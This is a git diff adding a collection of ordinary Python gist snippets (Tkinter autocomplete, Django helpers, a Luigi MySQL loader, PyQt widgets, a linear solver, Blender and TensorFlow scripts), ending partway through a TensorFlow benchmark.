index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1104553/._snippet.py differ
diff --git a/hard-gists/1104553/snippet.py b/hard-gists/1104553/snippet.py
new file mode 100644
index 00000000..1faa7148
--- /dev/null
+++ b/hard-gists/1104553/snippet.py
@@ -0,0 +1,11 @@
+import networkx as nx
+from networkx.readwrite import d3_js
+
+mikedewar = nx.read_graphml('mikedewar_rec.graphml')
+	
+# We need to relabel nodes as Twitter name if we want to show the names in the plot
+label_dict = dict(map(lambda i : (mikedewar.nodes()[i], mikedewar.nodes(data=True)[i][1]['Label']), xrange(mikedewar.number_of_nodes())))
+mikedewar_d3 = nx.relabel_nodes(mikedewar, label_dict)	
+
+# Export 
+d3_js.export_d3_js(mikedewar_d3, files_dir="mikedewar", graphname="mikedewar", group="REC", node_labels=False)
\ No newline at end of file
diff --git a/hard-gists/1107375/._snippet.py b/hard-gists/1107375/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1107375/._snippet.py differ
diff --git a/hard-gists/1107375/snippet.py b/hard-gists/1107375/snippet.py
new file mode 100644
index 00000000..fabcf242
--- /dev/null
+++ b/hard-gists/1107375/snippet.py
@@ -0,0 +1,24 @@
+import time, re
+from selenium import selenium
+
+class implicitWaitSelenium(selenium):
+    """
+    Extending the regular selenium class to add implicit waits
+    """
+
+    def __init__(self, *args):
+        self.implicit_wait = 30
+        super(implicitWaitSelenium, self).__init__(*args)
+
+    def do_command(self, verb, args, implicit_wait=None):
+        if implicit_wait is None:
+            implicit_wait = self.implicit_wait
+
+        try:
+            return super(implicitWaitSelenium, self).do_command(verb, args)
+        except Exception, e:
+            if (re.match("ERROR: Element .* not found", str(e))
+                and implicit_wait > 0):
+                time.sleep(1)
+                return self.do_command(verb, args, implicit_wait-1)
+            raise Exception(e)
diff --git a/hard-gists/11078820/._snippet.py b/hard-gists/11078820/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11078820/._snippet.py differ
diff --git a/hard-gists/11078820/snippet.py b/hard-gists/11078820/snippet.py
new file mode 100644
index 00000000..ba44a953
--- /dev/null
+++ b/hard-gists/11078820/snippet.py
@@ -0,0 +1,131 @@
+"""
+Inspired by http://code.activestate.com/recipes/578253-an-entry-with-autocompletion-for-the-tkinter-gui/
+Changes:
+    - Fixed AttributeError: 'AutocompleteEntry' object has no attribute 'listbox'
+    - Fixed scrolling listbox
+    - Case-insensitive search
+    - Added focus to entry field
+    - Custom listbox length, listbox width matches entry field width
+    - Custom matches function
+"""
+
+from tkinter import *
+import re
+
+class AutocompleteEntry(Entry):
+    def __init__(self, autocompleteList, *args, **kwargs):
+
+        # Listbox length
+        if 'listboxLength' in kwargs:
+            self.listboxLength = kwargs['listboxLength']
+            del kwargs['listboxLength']
+        else:
+            self.listboxLength = 8
+
+        # Custom matches function
+        if 'matchesFunction' in kwargs:
+            self.matchesFunction = kwargs['matchesFunction']
+            del kwargs['matchesFunction']
+        else:
+            def matches(fieldValue, acListEntry):
+                pattern = re.compile('.*' + re.escape(fieldValue) + '.*', re.IGNORECASE)
+                return re.match(pattern, acListEntry)
+                
+            self.matchesFunction = matches
+
+        
+        Entry.__init__(self, *args, **kwargs)
+        self.focus()
+
+        self.autocompleteList = autocompleteList
+        
+        self.var = self["textvariable"]
+        if self.var == '':
+            self.var = self["textvariable"] = StringVar()
+
+        self.var.trace('w', self.changed)
+        self.bind("<Right>", self.selection)
+        self.bind("<Up>", self.moveUp)
+        self.bind("<Down>", self.moveDown)
+        
+        self.listboxUp = False
+
+    def changed(self, name, index, mode):
+        if self.var.get() == '':
+            if self.listboxUp:
+                self.listbox.destroy()
+                self.listboxUp = False
+        else:
+            words = self.comparison()
+            if words:
+                if not self.listboxUp:
+                    self.listbox = Listbox(width=self["width"], height=self.listboxLength)
+                    self.listbox.bind("<Button-1>", self.selection)
+                    self.listbox.bind("<Right>", self.selection)
+                    self.listbox.place(x=self.winfo_x(), y=self.winfo_y() + self.winfo_height())
+                    self.listboxUp = True
+                
+                self.listbox.delete(0, END)
+                for w in words:
+                    self.listbox.insert(END,w)
+            else:
+                if self.listboxUp:
+                    self.listbox.destroy()
+                    self.listboxUp = False
+        
+    def selection(self, event):
+        if self.listboxUp:
+            self.var.set(self.listbox.get(ACTIVE))
+            self.listbox.destroy()
+            self.listboxUp = False
+            self.icursor(END)
+
+    def moveUp(self, event):
+        if self.listboxUp:
+            if self.listbox.curselection() == ():
+                index = '0'
+            else:
+                index = self.listbox.curselection()[0]
+                
+            if index != '0':                
+                self.listbox.selection_clear(first=index)
+                index = str(int(index) - 1)
+                
+                self.listbox.see(index) # Scroll!
+                self.listbox.selection_set(first=index)
+                self.listbox.activate(index)
+
+    def moveDown(self, event):
+        if self.listboxUp:
+            if self.listbox.curselection() == ():
+                index = '0'
+            else:
+                index = self.listbox.curselection()[0]
+                
+            if index != END:                        
+                self.listbox.selection_clear(first=index)
+                index = str(int(index) + 1)
+                
+                self.listbox.see(index) # Scroll!
+                self.listbox.selection_set(first=index)
+                self.listbox.activate(index) 
+
+    def comparison(self):
+        return [ w for w in self.autocompleteList if self.matchesFunction(self.var.get(), w) ]
+
+if __name__ == '__main__':
+    autocompleteList = [ 'Dora Lyons (7714)', 'Hannah Golden (6010)', 'Walker Burns (9390)', 'Dieter Pearson (6347)', 'Allen Sullivan (9781)', 'Warren Sullivan (3094)', 'Genevieve Mayo (8427)', 'Igor Conner (4740)', 'Ulysses Shepherd (8116)', 'Imogene Bullock (6736)', 'Dominique Sanchez (949)', 'Sean Robinson (3784)', 'Diana Greer (2385)', 'Arsenio Conrad (2891)', 'Sophia Rowland (5713)', 'Garrett Lindsay (5760)', 'Lacy Henry (4350)', 'Tanek Conley (9054)', 'Octavia Michael (5040)', 'Kimberly Chan (1989)', 'Melodie Wooten (7753)', 'Winter Beard (3896)', 'Callum Schultz (7762)', 'Prescott Silva (3736)', 'Adena Crane (6684)', 'Ocean Schroeder (2354)', 'Aspen Blevins (8588)', 'Allegra Gould (7323)', 'Penelope Aguirre (7639)', 'Deanna Norman (1963)', 'Herman Mcintosh (1776)', 'August Hansen (547)', 'Oscar Sanford (2333)', 'Guy Vincent (1656)', 'Indigo Frye (3236)', 'Angelica Vargas (1697)', 'Bevis Blair (4354)', 'Trevor Wilkinson (7067)', 'Kameko Lloyd (2660)', 'Giselle Gaines (9103)', 'Phyllis Bowers (6661)', 'Patrick Rowe (2615)', 'Cheyenne Manning (1743)', 'Jolie Carney (6741)', 'Joel Faulkner (6224)', 'Anika Bennett (9298)', 'Clayton Cherry (3687)', 'Shellie Stevenson (6100)', 'Marah Odonnell (3115)', 'Quintessa Wallace (5241)', 'Jayme Ramsey (8337)', 'Kyle Collier (8284)', 'Jameson Doyle (9258)', 'Rigel Blake (2124)', 'Joan Smith (3633)', 'Autumn Osborne (5180)', 'Renee Randolph (3100)', 'Fallon England (6976)', 'Fallon Jefferson (6807)', 'Kevyn Koch (9429)', 'Paki Mckay (504)', 'Connor Pitts (1966)', 'Rebecca Coffey (4975)', 'Jordan Morrow (1772)', 'Teegan Snider (5808)', 'Tatyana Cunningham (7691)', 'Owen Holloway (6814)', 'Desiree Delaney (272)', 'Armand Snider (8511)', 'Wallace Molina (4302)', 'Amela Walker (1637)', 'Denton Tillman (201)', 'Bruno Acevedo (7684)', 'Slade Hebert (5945)', 'Elmo Watkins (9282)', 'Oleg Copeland (8013)', 'Vladimir Taylor (3846)', 'Sierra Coffey (7052)', 'Holmes Scott (8907)', 'Evelyn Charles (8528)', 'Steel Cooke (5173)', 'Roth Barrett (7977)', 'Justina Slater (3865)', 'Mara Andrews (3113)', 'Ulla Skinner (9342)', 'Reece Lawrence (6074)', 'Violet Clay (6516)', 'Ainsley Mcintyre (6610)', 'Chanda Pugh (9853)', 'Brody Rosales (2662)', 'Serena Rivas (7156)', 'Henry Lang (4439)', 'Clark Olson (636)', 'Tashya Cotton (5795)', 'Kim Matthews (2774)', 'Leilani Good (5360)', 'Deirdre Lindsey (5829)', 'Macy Fields (268)', 'Daniel Parrish (1166)', 'Talon Winters (8469)' ]
+    def matches(fieldValue, acListEntry):
+        pattern = re.compile(re.escape(fieldValue) + '.*', re.IGNORECASE)
+        return re.match(pattern, acListEntry)
+    
+    root = Tk()
+    entry = AutocompleteEntry(autocompleteList, root, listboxLength=6, width=32, matchesFunction=matches)
+    entry.grid(row=0, column=0)    
+    Button(text='Python').grid(column=0)
+    Button(text='Tkinter').grid(column=0)
+    Button(text='Regular Expressions').grid(column=0)
+    Button(text='Fixed bugs').grid(column=0)
+    Button(text='New features').grid(column=0)
+    Button(text='Check code comments').grid(column=0)
+    root.mainloop()
diff --git a/hard-gists/1108817/._snippet.py b/hard-gists/1108817/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1108817/._snippet.py differ
diff --git a/hard-gists/1108817/snippet.py b/hard-gists/1108817/snippet.py
new file mode 100644
index 00000000..daf656c7
--- /dev/null
+++ b/hard-gists/1108817/snippet.py
@@ -0,0 +1,46 @@
+from lxml import objectify
+
+from django import template
+from django.template.loader import render_to_string
+
+register = template.Library()
+
+
+class XMLNode(template.Node):
+    def __init__(self, xml):
+        self.xml = xml
+
+    def render(self, context):
+        output = self.xml.render(context)
+        xml = objectify.fromstring(output)
+        context['object'] = xml
+        return render_to_string('xml/%s.html' % xml.tag, context)
+
+
+@register.tag('xml')
+def do_xml(parser, token):
+    """
+    Convert template XML to an object which renders a corresponding
+    HTML template. Lets you embed components using pseudo markup.
+
+    In the main template you'll have something like:
+
+    {% xml %}
+        <tabs>
+            <tabs url="http://facebook.com" label="Facebook" />
+            <tabs url="http://apple.com" label="Apple" />
+        </tabs>
+    {% endxml %}
+
+    Which renders the template `xml/tabs.html` where you can:
+
+    <div class="tabs">
+        {% for tab in object.tab %}
+            <a href="{{ tab.attrib.url }}">{{ tab.attrib.label }}</a>
+        {% endfor %}
+    </div>
+    """
+    bits = token.split_contents()
+    xml = parser.parse(('endxml',))
+    parser.delete_first_token()
+    return XMLNode(xml)
diff --git a/hard-gists/1109153/._snippet.py b/hard-gists/1109153/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1109153/._snippet.py differ
diff --git a/hard-gists/1109153/snippet.py b/hard-gists/1109153/snippet.py
new file mode 100644
index 00000000..4ab268b2
--- /dev/null
+++ b/hard-gists/1109153/snippet.py
@@ -0,0 +1,26 @@
+import datetime
+
+# requires python-dateutil (http://labix.org/python-dateutil)
+from dateutil.relativedelta import relativedelta
+
+def get_month_day_range(date):
+    """
+    For a date 'date' returns the start and end date for the month of 'date'.
+
+    Month with 31 days:
+    >>> date = datetime.date(2011, 7, 27)
+    >>> get_month_day_range(date)
+    (datetime.date(2011, 7, 1), datetime.date(2011, 7, 31))
+
+    Month with 28 days:
+    >>> date = datetime.date(2011, 2, 15)
+    >>> get_month_day_range(date)
+    (datetime.date(2011, 2, 1), datetime.date(2011, 2, 28))
+    """
+    last_day = date + relativedelta(day=1, months=+1, days=-1)
+    first_day = date + relativedelta(day=1)
+    return first_day, last_day
+
+if __name__ == "__main__":
+    import doctest
+    doctest.testmod()
diff --git a/hard-gists/1112928/._snippet.py b/hard-gists/1112928/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1112928/._snippet.py differ
diff --git a/hard-gists/1112928/snippet.py b/hard-gists/1112928/snippet.py
new file mode 100644
index 00000000..6360ee06
--- /dev/null
+++ b/hard-gists/1112928/snippet.py
@@ -0,0 +1,36 @@
+#!/usr/bin/env python
+#-*- coding:utf-8 -*-
+
+from tweepy.streaming import StreamListener, Stream
+from tweepy.auth import BasicAuthHandler
+from tweepy.api import API
+import tweepy
+ 
+class MyStreamListener(StreamListener):
+    def __init__(self, api=None):
+        StreamListener.__init__(self, api=api)
+ 
+    def on_status(self, status):
+        print "@%s: %s" % (status.user.screen_name, status.text)
+ 
+    def on_error(self, status_code):
+        print "ERROR: ",status_code
+ 
+    def on_limit(self, track):
+        print "LIMIT: ", track
+ 
+    def on_timeout(self):
+        print "TIMEOUT!"
+
+def filter_track():
+    track=["python"]
+    stream_auth = BasicAuthHandler('<USERNAME>', '<PASSWORD>')
+    api = API()
+    stream = Stream(stream_auth, MyStreamListener(api))
+ 
+    print 'start filter track ', ','.join(track)
+    stream.filter(track=track)
+
+if __name__ == "__main__":
+    filter_track()
+ 
\ No newline at end of file
diff --git a/hard-gists/11129975/._snippet.py b/hard-gists/11129975/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11129975/._snippet.py differ
diff --git a/hard-gists/11129975/snippet.py b/hard-gists/11129975/snippet.py
new file mode 100644
index 00000000..2dfb2741
--- /dev/null
+++ b/hard-gists/11129975/snippet.py
@@ -0,0 +1,37 @@
+from PyQt4.QtCore import QRect
+from PyQt4.QtGui import QApplication, QWidget, QLabel
+
+class DraggableLabel( QLabel ):
+    """
+    A QLabel subclass that can be dragged around within its parent widget.
+    Note: Not intended to work if the parent widget has a layout (e.g. QVBoxLayout).
+    """
+    
+    def __init__(self, *args, **kwargs):
+        super( DraggableLabel, self ).__init__(*args, **kwargs)
+        self._dragging = False
+
+    def mousePressEvent(self, event):
+        self._dragging = True
+    
+    def mouseReleaseEvent(self, event):
+        self._dragging = False
+    
+    def mouseMoveEvent(self, event):
+        if not self._dragging:
+            return
+        
+        new_pos_global = event.globalPos()
+        new_pos_within_parent = self.parent().mapFromGlobal( new_pos_global )
+        new_geometry = QRect( new_pos_within_parent, self.geometry().size() )
+        self.setGeometry( new_geometry )
+
+if __name__ == "__main__":
+    app = QApplication([])
+    
+    w = QWidget()
+    label = DraggableLabel("Label!", parent=w)
+    w.show()
+    w.raise_()        
+
+    app.exec_()
diff --git a/hard-gists/11181988/._snippet.py b/hard-gists/11181988/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11181988/._snippet.py differ
diff --git a/hard-gists/11181988/snippet.py b/hard-gists/11181988/snippet.py
new file mode 100644
index 00000000..479ff641
--- /dev/null
+++ b/hard-gists/11181988/snippet.py
@@ -0,0 +1,236 @@
+
+import luigi
+import tempfile
+import datetime
+from luigi.contrib import rdbms
+from lib.luigi import logger
+from luigi.postgres import MultiReplacer
+
+try:
+    import MySQLdb
+    import MySQLdb.constants.ER as errorcode
+except ImportError as e:
+    logger.warning("Loading MySQL module without the python package MySQLdb. \
+        This will crash at runtime if MySQL functionality is used.")
+
+
+# these are the escape sequences recognized by mysql COPY
+# according to http://www.postgresql.org/docs/8.1/static/sql-copy.html
+default_escape = MultiReplacer([('\\', '\\\\'),
+                                ('\0', '\\0'),
+                                ('\'', '\\\''),
+                                ('\"', '\\"'),
+                                ('\b', '\\b'),
+                                ('\n', '\\n'),
+                                ('\r', '\\r'),
+                                ('\t', '\\t'),
+                                ])
+
+
+class MySqlTarget(luigi.Target):
+    """Target for a resource in MySql"""
+
+    marker_table = luigi.configuration.get_config().get(
+        'mysql', 'marker-table', 'table_updates')
+
+    def __init__(self, host, database, user, password, table, update_id):
+        """
+        Args:
+            host (str): MySql server address. Possibly a host:port string.
+            database (str): Database name
+            user (str): Database user
+            password (str): Password for specified user
+            update_id (str): An identifier for this data set
+
+        """
+        if ':' in host:
+            self.host, self.port = host.split(':')
+            self.port = int(self.port)
+        else:
+            self.host = host
+            self.port = 3306
+        self.database = database
+        self.user = user
+        self.password = password
+        self.table = table
+        self.update_id = update_id
+
+    def touch(self, connection=None):
+        """Mark this update as complete.
+
+        Important: If the marker table doesn't exist, the connection
+        transaction will be aborted and the connection reset. Then the marker
+        table will be created.
+        """
+        self.create_marker_table()
+
+        if connection is None:
+            connection = self.connect()
+            # if connection created here, we commit it here
+            connection.autocommit(True)
+
+        connection.cursor().execute(
+            """INSERT INTO {marker_table} (update_id, target_table)
+               VALUES (%s, %s)
+            """.format(marker_table=self.marker_table),
+            (self.update_id, self.table)
+        )
+        # make sure update is properly marked
+        assert self.exists(connection)
+
+    def exists(self, connection=None):
+        if connection is None:
+            connection = self.connect()
+            connection.autocommit(True)
+        cursor = connection.cursor()
+        try:
+            cursor.execute("""SELECT 1 FROM {marker_table}
+                WHERE update_id = %s
+                LIMIT 1""".format(marker_table=self.marker_table),
+                (self.update_id,)
+            )
+            row = cursor.fetchone()
+        except MySQLdb.ProgrammingError as e:
+            if e[0] == errorcode.NO_SUCH_TABLE:
+                row = None
+            else:
+                raise
+        return row is not None
+
+    def connect(self, autocommit=False, local_infile=True):
+        connection = MySQLdb.connect(user=self.user,
+                                     passwd=self.password,
+                                     host=self.host,
+                                     port=self.port,
+                                     db=self.database,
+                                     local_infile=local_infile)
+        connection.autocommit(autocommit)
+        return connection
+
+    def create_marker_table(self):
+        """Create marker table if it doesn't exist.
+
+        Using a separate connection since the transaction might have to be
+        reset.
+        """
+        connection = self.connect(autocommit=True)
+        cursor = connection.cursor()
+        try:
+            cursor.execute(
+                """ CREATE TABLE {marker_table} (
+                        id            BIGINT(20)    NOT NULL AUTO_INCREMENT,
+                        update_id     VARCHAR(128)  NOT NULL,
+                        target_table  VARCHAR(128),
+                        inserted      TIMESTAMP DEFAULT NOW(),
+                        PRIMARY KEY (update_id),
+                        KEY id (id)
+                    )
+                """
+                .format(marker_table=self.marker_table)
+            )
+        except MySQLdb.OperationalError as e:
+            if e[0] == errorcode.TABLE_EXISTS_ERROR:
+                pass
+            else:
+                raise
+        connection.close()
+
+
+class CopyToTable(rdbms.CopyToTable):
+
+    def rows(self):
+        """Return/yield tuples or lists corresponding to each row to be
+        inserted """
+        with self.input().open('r') as fobj:
+            for line in fobj:
+                yield line.strip('\n').split(self.column_separator)
+
+    def map_column(self, value):
+        """Applied to each column of every row returned by `rows`
+
+        Default behaviour is to escape special characters and identify any
+        self.null_values
+        """
+        if value in self.null_values:
+            return 'NULL'
+        elif isinstance(value, unicode):
+            return default_escape(value).encode('utf8')
+        else:
+            return default_escape(str(value))
+
+    def output(self):
+        return MySqlTarget(
+            host=self.host,
+            database=self.database,
+            user=self.user,
+            password=self.password,
+            table=self.table,
+            update_id=self.update_id(),
+        )
+
+    def copy_from(self, cursor, file_path, table, column_sep='\t',
+                  row_sep='\n'):
+        cursor.execute("""
+        load data local infile '{file_path}' into table {table_name}
+        columns terminated by '{column_sep}' lines terminated by '{row_sep}'
+        """.format(file_path=file_path, table_name=table,
+                   column_sep=column_sep, row_sep=row_sep))
+
+    def copy(self, cursor, file):
+        self.copy_from(cursor, file.name, self.table)
+
+    def run(self):
+        """Inserts data generated by rows() into target table.
+
+        If the target table doesn't exist, self.create_table will be called to
+        attempt to create the table.
+
+        Normally you don't want to override this.
+        """
+        if not (self.table and self.columns):
+            raise Exception("table and columns need to be specified")
+
+        connection = self.output().connect()
+        tmp_dir = luigi.configuration.get_config().get(
+            'mysql', 'local-tmp-dir', None)
+        tmp_file = tempfile.NamedTemporaryFile(dir=tmp_dir)
+        n = 0
+        for row in self.rows():
+            n += 1
+            if n % 100000 == 0:
+                logger.info("Wrote %d lines", n)
+            rowstr = '\t'.join(
+                self.map_column(val) for val in row)
+            tmp_file.write(rowstr + '\n')
+
+        logger.info("Done writing, importing at %s", datetime.datetime.now())
+        tmp_file.seek(0)
+
+        # attempt to copy the data into mysql
+        # if it fails because the target table doesn't exist
+        # try to create it by running self.create_table
+        for attempt in xrange(2):
+            try:
+                cursor = connection.cursor()
+                self.init_copy(connection)
+                self.copy(cursor, tmp_file)
+            except MySQLdb.ProgrammingError, e:
+                if e[0] == errorcode.NO_SUCH_TABLE and \
+                        attempt == 0:
+                    # if first attempt fails with "relation not found", try
+                    # creating table
+                    logger.info("Creating table %s", self.table)
+                    connection.rollback()
+                    self.create_table(connection)
+                else:
+                    raise
+            else:
+                break
+
+        # mark as complete in same transaction
+        self.output().touch(connection)
+
+        # commit and clean up
+        connection.commit()
+        connection.close()
+        tmp_file.close()
\ No newline at end of file
diff --git a/hard-gists/1118585/._snippet.py b/hard-gists/1118585/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1118585/._snippet.py differ
diff --git a/hard-gists/1118585/snippet.py b/hard-gists/1118585/snippet.py
new file mode 100644
index 00000000..1064890f
--- /dev/null
+++ b/hard-gists/1118585/snippet.py
@@ -0,0 +1,43 @@
+from progress_ui import Ui_Dialog
+from PyQt4 import QtCore, QtGui
+import sys, time
+
+class mythread(QtCore.QThread):
+    def __init__(self,parent,n):
+        QtCore.QThread.__init__(self,parent) 
+        self.n=n
+
+    def run(self):
+        self.emit(QtCore.SIGNAL("total(PyQt_PyObject)"),self.n)
+        i=0
+        while (i<self.n):
+            if (time.time() % 1==0):
+                i+=1
+                #print str(i)
+                self.emit(QtCore.SIGNAL("update()"))
+
+# create the dialog for zoom to point
+class progress(QtGui.QDialog):
+    def __init__(self): 
+        QtGui.QDialog.__init__(self) 
+        # Set up the user interface from Designer. 
+        self.ui = Ui_Dialog()
+        self.ui.setupUi(self)
+        self.ui.progressBar.setValue(0)
+        self.t=mythread(self,100)
+        QtCore.QObject.connect(self.t, QtCore.SIGNAL("total(PyQt_PyObject)"), self.total)
+        QtCore.QObject.connect(self.t, QtCore.SIGNAL("update()"), self.update)
+        self.n=0
+        self.t.start()
+    def update(self):
+        self.n+=1
+        print self.n
+        self.ui.progressBar.setValue(self.n)
+    def total(self,total):
+        self.ui.progressBar.setMaximum(total)
+
+if __name__=="__main__":
+    app = QtGui.QApplication([])
+    c=progress()
+    c.show()
+    sys.exit(app.exec_())
\ No newline at end of file
diff --git a/hard-gists/11192605/._snippet.py b/hard-gists/11192605/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11192605/._snippet.py differ
diff --git a/hard-gists/11192605/snippet.py b/hard-gists/11192605/snippet.py
new file mode 100644
index 00000000..d183aac9
--- /dev/null
+++ b/hard-gists/11192605/snippet.py
@@ -0,0 +1,53 @@
+#! /usr/bin/env python
+
+"""
+Solve linear system using LU decomposition and Gaussian elimination
+"""
+
+import numpy as np
+from scipy.linalg import lu, inv
+
+def gausselim(A,B):
+    """
+    Solve Ax = B using Gaussian elimination and LU decomposition.
+
+    A = LU   decompose A into lower and upper triangular matrices
+    LUx = B  substitute into original equation for A
+
+    Let y = Ux and solve:
+    Ly = B --> y = (L^-1)B  solve for y using "forward" substitution
+    Ux = y --> x = (U^-1)y  solve for x using "backward" substitution
+
+    :param A: coefficients in Ax = B
+    :type A: numpy.ndarray of size (m, n)
+    :param B: dependent variable in Ax = B
+    :type B: numpy.ndarray of size (m, 1)
+    """
+    # LU decomposition with pivot
+    pl, u = lu(A, permute_l=True)
+    # forward substitution to solve for Ly = B
+    y = np.zeros(B.size)
+    for m, b in enumerate(B.flatten()):
+        y[m] = b
+        # skip for loop if m == 0
+        if m:
+            for n in xrange(m):
+                y[m] -= y[n] * pl[m,n]
+        y[m] /= pl[m, m]
+
+    # backward substitution to solve for y = Ux
+    x = np.zeros(B.size)
+    lastidx = B.size - 1  # last index
+    for midx in xrange(B.size):
+        m = B.size - 1 - midx  # backwards index
+        x[m] = y[m]
+        if midx:
+            for nidx in xrange(midx):
+                n = B.size - 1  - nidx
+                x[m] -= x[n] * u[m,n]
+        x[m] /= u[m, m]
+    return x
+
+if __name__ == '__main__':
+    x = gausselim(np.array([[3, 2], [1, -4]]), np.array([[5], [10]]))
+    print x
diff --git a/hard-gists/111c8ee32505a11ad7a6c629f277c2a4/._snippet.py b/hard-gists/111c8ee32505a11ad7a6c629f277c2a4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/111c8ee32505a11ad7a6c629f277c2a4/._snippet.py differ
diff --git a/hard-gists/111c8ee32505a11ad7a6c629f277c2a4/snippet.py b/hard-gists/111c8ee32505a11ad7a6c629f277c2a4/snippet.py
new file mode 100644
index 00000000..4e450345
--- /dev/null
+++ b/hard-gists/111c8ee32505a11ad7a6c629f277c2a4/snippet.py
@@ -0,0 +1,33 @@
+# Blender Python script to triangulate obj coming from Google Blocks
+# result http://vatelier.net/MyDemo/TestingTriangulation/
+# via https://blender.stackexchange.com/questions/34537/how-to-batch-convert-between-file-formats
+import bpy # Python interface for Blender, use Shift+F4 to start the interactive console.
+# alternatively for headless server side batch conversion use blender -b -P triangulate_obj.py
+import os
+
+def convert_in_dir(path):
+    for root, dirs, files in os.walk(path):
+        for f in files:
+            if f.endswith('.obj') :
+                print(f)
+                mesh_file = os.path.join(path, f)
+                obj_file = os.path.splitext(mesh_file)[0] + "_triangulated.obj"
+                bpy.ops.object.select_all(action='SELECT')
+                bpy.ops.object.delete()
+                bpy.ops.import_scene.obj(filepath=mesh_file)
+                bpy.ops.object.select_all(action='SELECT')
+                bpy.ops.export_scene.obj(filepath=obj_file, use_triangles=True)
+                # export to glTF, for AFrame us gltf-model-next from aframe-extras
+                # cf http://vatelier.net/MyDemo/TestingTriangulation/gltf.html
+                if "gltf" in dir(bpy.ops.export_scene):
+                    gltf_file = os.path.splitext(mesh_file)[0] + ".gltf"
+                    bpy.ops.export_scene.gltf(filepath=gltf_file)
+    return;
+            
+path = 'C:/Users/UCB/Downloads/testing_triangulation/'
+# assuming a lot of subdirectories to with one or more obj file to fix
+for root, dirs, files in os.walk(path):
+    # convert_in_dir(path)
+    for d in dirs:
+        cd = os.path.join(path, d)
+        convert_in_dir(cd)
diff --git a/hard-gists/11215761/._snippet.py b/hard-gists/11215761/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11215761/._snippet.py differ
diff --git a/hard-gists/11215761/snippet.py b/hard-gists/11215761/snippet.py
new file mode 100644
index 00000000..2589e1f3
--- /dev/null
+++ b/hard-gists/11215761/snippet.py
@@ -0,0 +1,13 @@
+'''
+Taken from: https://code.djangoproject.com/ticket/17561#comment:7
+'''
+
+from django.db import models
+
+
+class EmailField(models.EmailField):
+    def get_prep_value(self, value):
+        value = super(EmailField, self).get_prep_value(value)
+        if value is not None:
+            value = value.lower()
+        return value
\ No newline at end of file
diff --git a/hard-gists/11242170/._snippet.py b/hard-gists/11242170/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11242170/._snippet.py differ
diff --git a/hard-gists/11242170/snippet.py b/hard-gists/11242170/snippet.py
new file mode 100644
index 00000000..e8cb235d
--- /dev/null
+++ b/hard-gists/11242170/snippet.py
@@ -0,0 +1,14 @@
+from PIL import Image, ImageOps
+import clipboard, photos,webbrowser
+im=photos.pick_image()#clipboard.get_image
+if im.size[0] >= im.size[1]:
+	whitespace=((im.size[0]-im.size[1])/2)+250
+	xbump=250
+else:
+	xbump=((im.size[1]-im.size[0])/2)+250
+	whitespace=250
+matted=ImageOps.expand(im,border=(xbump,whitespace),fill='white')
+photos.save_image(matted)
+inst='instagram://camera'
+webbrowser.open(inst)
+#if you have any questions or comments @jamescampbell on twitter
\ No newline at end of file
diff --git a/hard-gists/1124bb02a9fd4abce3d86caf2f950cb2/._snippet.py b/hard-gists/1124bb02a9fd4abce3d86caf2f950cb2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1124bb02a9fd4abce3d86caf2f950cb2/._snippet.py differ
diff --git a/hard-gists/1124bb02a9fd4abce3d86caf2f950cb2/snippet.py b/hard-gists/1124bb02a9fd4abce3d86caf2f950cb2/snippet.py
new file mode 100644
index 00000000..268178fd
--- /dev/null
+++ b/hard-gists/1124bb02a9fd4abce3d86caf2f950cb2/snippet.py
@@ -0,0 +1,103 @@
+"""Benchmark tensorflow distributed by adding vector of ones on worker2
+to variable on worker1 as fast as possible.
+
+On 2014 macbook, TensorFlow 0.10 this shows
+
+Local rate:       2175.28 MB per second
+Distributed rate: 107.13 MB per second
+
+"""
+
+import subprocess
+import tensorflow as tf
+import time
+import sys
+
+flags = tf.flags
+flags.DEFINE_integer("iters", 10, "Maximum number of additions")
+flags.DEFINE_integer("data_mb", 100, "size of vector in MBs")
+flags.DEFINE_string("port1", "12222", "port of worker1")
+flags.DEFINE_string("port2", "12223", "port of worker2")
+flags.DEFINE_string("task", "", "internal use")
+FLAGS = flags.FLAGS
+
+# setup local cluster from flags
+host = "127.0.0.1:"
+cluster = {"worker": [host+FLAGS.port1, host+FLAGS.port2]}
+clusterspec = tf.train.ClusterSpec(cluster).as_cluster_def()
+
+def default_config():
+  optimizer_options = tf.OptimizerOptions(opt_level=tf.OptimizerOptions.L0)
+  config = tf.ConfigProto(
+    graph_options=tf.GraphOptions(optimizer_options=optimizer_options))
+  config.log_device_placement = False
+  config.allow_soft_placement = False
+  return config
+
+def create_graph(device1, device2):
+  """Create graph that keeps variable on device1 and
+  vector of ones/addition op on device2"""
+  
+  tf.reset_default_graph()
+  dtype=tf.int32
+  params_size = 250*1000*FLAGS.data_mb # 1MB is 250k integers
+
+  with tf.device(device1):
+    params = tf.get_variable("params", [params_size], dtype,
+                             initializer=tf.zeros_initializer)
+  with tf.device(device2):
+    # constant node gets placed on device1 because of simple_placer
+    #    update = tf.constant(1, shape=[params_size], dtype=dtype)
+    update = tf.get_variable("update", [params_size], dtype,
+                             initializer=tf.ones_initializer)
+    add_op = params.assign_add(update)
+    
+  init_op = tf.initialize_all_variables()
+  return init_op, add_op
+
+def run_benchmark(sess, init_op, add_op):
+  """Returns MB/s rate of addition."""
+  
+  sess.run(init_op)
+  sess.run(add_op.op)  # warm-up
+  start_time = time.time()
+  for i in range(FLAGS.iters):
+    # change to add_op.op to make faster
+    sess.run(add_op)
+  elapsed_time = time.time() - start_time
+  return float(FLAGS.iters)*FLAGS.data_mb/elapsed_time
+
+
+def run_benchmark_local():
